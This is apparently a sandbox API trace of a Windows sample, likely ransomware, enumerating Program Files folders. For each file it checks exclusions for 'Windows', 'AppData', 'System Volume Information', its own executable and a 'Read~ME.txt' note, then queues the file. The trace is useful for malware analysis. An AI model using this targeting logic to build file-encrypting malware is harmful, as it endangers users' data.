	[0079.511] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*", lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a848
	[0079.511] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0079.511] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0079.511] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0079.511] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0079.511] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0079.511] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.512] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0079.512] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0079.512] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0079.512] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0079.512] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0079.512] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0079.512] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1
	[0079.512] lstrcmpiW (lpString1="Fonts", lpString2="Windows") returned -1
	[0079.512] lstrcmpW (lpString1="Fonts", lpString2=".") returned 1
	[0079.512] lstrcmpW (lpString1="Fonts", lpString2="..") returned 1
	[0079.512] lstrcmpW (lpString1="Fonts", lpString2="AppData") returned 1
	[0079.512] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts", lpSrch="AppData") returned 0x0
	[0079.512] lstrlenW (lpString="C:\\Windows") returned 10
	[0079.512] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts", lpString2="C:\\Windows") returned -1
	[0079.512] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0079.512] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts", lpString2="C:\\System Volume Information") returned -1
	[0079.512] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0079.512] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0079.574] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0079.574] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0079.574] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0079.574] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0079.574] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0079.574] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.574] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0079.574] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0079.574] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0079.574] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0079.574] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0079.574] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0079.574] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x4f2ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIGFONT.SHX", cAlternateFileName="")) returned 1
	[0079.574] lstrcmpiW (lpString1="BIGFONT.SHX", lpString2="Windows") returned -1
	[0079.574] lstrcmpW (lpString1="BIGFONT.SHX", lpString2="oiikyy.exe") returned -1
	[0079.574] StrStrW (lpFirst="BIGFONT.SHX", lpSrch=".~~~~") returned 0x0
	[0079.574] lstrcmpW (lpString1="BIGFONT.SHX", lpString2="Read~ME.txt") returned -1
	[0079.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0079.574] GetCurrentThreadId () returned 0x618
	[0079.574] RtlWakeConditionVariable () returned 0x365f48
	[0079.574] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81c076e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xa261d, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHINESET.SHX", cAlternateFileName="")) returned 1
	[0079.574] lstrcmpiW (lpString1="CHINESET.SHX", lpString2="Windows") returned -1
	[0079.575] lstrcmpW (lpString1="CHINESET.SHX", lpString2="oiikyy.exe") returned -1
	[0079.575] StrStrW (lpFirst="CHINESET.SHX", lpSrch=".~~~~") returned 0x0
	[0079.575] lstrcmpW (lpString1="CHINESET.SHX", lpString2="Read~ME.txt") returned -1
	[0079.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0079.575] GetCurrentThreadId () returned 0x618
	[0079.575] RtlWakeConditionVariable () returned 0x365f48
	[0079.575] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81eb4fa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x6a9e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXTFONT.SHX", cAlternateFileName="")) returned 1
	[0079.575] lstrcmpiW (lpString1="EXTFONT.SHX", lpString2="Windows") returned -1
	[0079.575] lstrcmpW (lpString1="EXTFONT.SHX", lpString2="oiikyy.exe") returned -1
	[0079.575] StrStrW (lpFirst="EXTFONT.SHX", lpSrch=".~~~~") returned 0x0
	[0079.575] lstrcmpW (lpString1="EXTFONT.SHX", lpString2="Read~ME.txt") returned -1
	[0079.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0079.575] GetCurrentThreadId () returned 0x618
	[0079.575] RtlWakeConditionVariable () returned 0x365f48
	[0079.575] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8207e020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdc6b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBCBIG.SHX", cAlternateFileName="")) returned 1
	[0079.575] lstrcmpiW (lpString1="GBCBIG.SHX", lpString2="Windows") returned -1
	[0079.575] lstrcmpW (lpString1="GBCBIG.SHX", lpString2="oiikyy.exe") returned -1
	[0079.575] StrStrW (lpFirst="GBCBIG.SHX", lpSrch=".~~~~") returned 0x0
	[0079.575] lstrcmpW (lpString1="GBCBIG.SHX", lpString2="Read~ME.txt") returned -1
	[0079.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0079.576] GetCurrentThreadId () returned 0x618
	[0079.576] RtlWakeConditionVariable () returned 0x365f48
	[0079.576] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2656900, ftCreationTime.dwHighDateTime=0x1c2706c, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2656900, ftLastWriteTime.dwHighDateTime=0x1c2706c, nFileSizeHigh=0x0, nFileSizeLow=0x2b01, dwReserved0=0x0, dwReserved1=0x0, cFileName="IC-TXT.SHX", cAlternateFileName="")) returned 1
	[0079.576] lstrcmpiW (lpString1="IC-TXT.SHX", lpString2="Windows") returned -1
	[0079.576] lstrcmpW (lpString1="IC-TXT.SHX", lpString2="oiikyy.exe") returned -1
	[0079.576] StrStrW (lpFirst="IC-TXT.SHX", lpSrch=".~~~~") returned 0x0
	[0079.576] lstrcmpW (lpString1="IC-TXT.SHX", lpString2="Read~ME.txt") returned -1
	[0079.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0079.576] GetCurrentThreadId () returned 0x618
	[0079.576] RtlWakeConditionVariable () returned 0x365f48
	[0079.576] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8f60300, ftCreationTime.dwHighDateTime=0x1c324cc, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc8f60300, ftLastWriteTime.dwHighDateTime=0x1c324cc, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICAD.FMP", cAlternateFileName="")) returned 1
	[0079.576] lstrcmpiW (lpString1="ICAD.FMP", lpString2="Windows") returned -1
	[0079.576] lstrcmpW (lpString1="ICAD.FMP", lpString2="oiikyy.exe") returned -1
	[0079.576] StrStrW (lpFirst="ICAD.FMP", lpSrch=".~~~~") returned 0x0
	[0079.576] lstrcmpW (lpString1="ICAD.FMP", lpString2="Read~ME.txt") returned -1
	[0079.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6df0
	[0079.576] GetCurrentThreadId () returned 0x618
	[0079.576] RtlWakeConditionVariable () returned 0x365f48
	[0079.576] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x369d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHGDTXT.SHX", cAlternateFileName="")) returned 1
	[0079.576] lstrcmpiW (lpString1="WHGDTXT.SHX", lpString2="Windows") returned -1
	[0079.576] lstrcmpW (lpString1="WHGDTXT.SHX", lpString2="oiikyy.exe") returned 1
	[0079.576] StrStrW (lpFirst="WHGDTXT.SHX", lpSrch=".~~~~") returned 0x0
	[0079.576] lstrcmpW (lpString1="WHGDTXT.SHX", lpString2="Read~ME.txt") returned 1
	[0079.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0079.576] GetCurrentThreadId () returned 0x618
	[0079.576] RtlWakeConditionVariable () returned 0x365f48
	[0079.576] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x2fde5, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHGTXT.SHX", cAlternateFileName="")) returned 1
	[0079.576] lstrcmpiW (lpString1="WHGTXT.SHX", lpString2="Windows") returned -1
	[0079.577] lstrcmpW (lpString1="WHGTXT.SHX", lpString2="oiikyy.exe") returned 1
	[0079.577] StrStrW (lpFirst="WHGTXT.SHX", lpSrch=".~~~~") returned 0x0
	[0079.577] lstrcmpW (lpString1="WHGTXT.SHX", lpString2="Read~ME.txt") returned 1
	[0079.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0079.577] GetCurrentThreadId () returned 0x618
	[0079.577] RtlWakeConditionVariable () returned 0x365f48
	[0079.577] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x9e413, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTGTXT.SHX", cAlternateFileName="")) returned 1
	[0079.577] lstrcmpiW (lpString1="WHTGTXT.SHX", lpString2="Windows") returned -1
	[0079.577] lstrcmpW (lpString1="WHTGTXT.SHX", lpString2="oiikyy.exe") returned 1
	[0079.577] StrStrW (lpFirst="WHTGTXT.SHX", lpSrch=".~~~~") returned 0x0
	[0079.577] lstrcmpW (lpString1="WHTGTXT.SHX", lpString2="Read~ME.txt") returned 1
	[0079.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0079.577] GetCurrentThreadId () returned 0x618
	[0079.577] RtlWakeConditionVariable () returned 0x365f48
	[0079.577] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 1
	[0079.577] lstrcmpiW (lpString1="WHTMTXT.SHX", lpString2="Windows") returned -1
	[0079.577] lstrcmpW (lpString1="WHTMTXT.SHX", lpString2="oiikyy.exe") returned 1
	[0079.577] StrStrW (lpFirst="WHTMTXT.SHX", lpSrch=".~~~~") returned 0x0
	[0079.577] lstrcmpW (lpString1="WHTMTXT.SHX", lpString2="Read~ME.txt") returned 1
	[0079.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0079.577] GetCurrentThreadId () returned 0x618
	[0079.577] RtlWakeConditionVariable () returned 0x365f48
	[0079.577] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 0
	[0079.577] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0079.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0079.578] GetCurrentThreadId () returned 0x618
	[0079.578] RtlWakeConditionVariable () returned 0x365f48
	[0079.579] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 0
	[0079.579] FindClose (in: hFindFile=0x37a848 | out: hFindFile=0x37a848) returned 1
	[0079.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6df0
	[0079.579] GetCurrentThreadId () returned 0x618
	[0079.579] RtlWakeConditionVariable () returned 0x365f48
	[0079.579] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTO", cAlternateFileName="")) returned 1
	[0079.579] lstrcmpiW (lpString1="VSTO", lpString2="Windows") returned -1
	[0079.579] lstrcmpW (lpString1="VSTO", lpString2=".") returned 1
	[0079.579] lstrcmpW (lpString1="VSTO", lpString2="..") returned 1
	[0079.579] lstrcmpW (lpString1="VSTO", lpString2="AppData") returned 1
	[0079.580] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO", lpSrch="AppData") returned 0x0
	[0079.580] lstrlenW (lpString="C:\\Windows") returned 10
	[0079.580] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO", lpString2="C:\\Windows") returned -1
	[0079.580] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0079.580] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO", lpString2="C:\\System Volume Information") returned -1
	[0079.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0079.580] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*", lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a848
	[0079.581] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0079.581] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0079.581] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0079.581] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0079.581] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0079.581] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.581] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0079.581] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0079.581] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0079.581] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0079.581] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0079.581] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0079.581] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1
	[0079.581] lstrcmpiW (lpString1="10.0", lpString2="Windows") returned -1
	[0079.581] lstrcmpW (lpString1="10.0", lpString2=".") returned 1
	[0079.581] lstrcmpW (lpString1="10.0", lpString2="..") returned 1
	[0079.581] lstrcmpW (lpString1="10.0", lpString2="AppData") returned -1
	[0079.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0", lpSrch="AppData") returned 0x0
	[0079.581] lstrlenW (lpString="C:\\Windows") returned 10
	[0079.581] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0", lpString2="C:\\Windows") returned -1
	[0079.581] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0079.581] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0", lpString2="C:\\System Volume Information") returned -1
	[0079.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0079.582] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0079.636] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0079.636] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0079.636] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0079.636] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0079.636] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0079.636] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.636] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0079.636] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0079.636] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0079.636] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0079.636] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0079.636] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0079.636] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0079.636] lstrcmpiW (lpString1="1033", lpString2="Windows") returned -1
	[0079.636] lstrcmpW (lpString1="1033", lpString2=".") returned 1
	[0079.636] lstrcmpW (lpString1="1033", lpString2="..") returned 1
	[0079.636] lstrcmpW (lpString1="1033", lpString2="AppData") returned -1
	[0079.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033", lpSrch="AppData") returned 0x0
	[0079.636] lstrlenW (lpString="C:\\Windows") returned 10
	[0079.637] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033", lpString2="C:\\Windows") returned -1
	[0079.637] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0079.637] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033", lpString2="C:\\System Volume Information") returned -1
	[0079.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3bc6e8
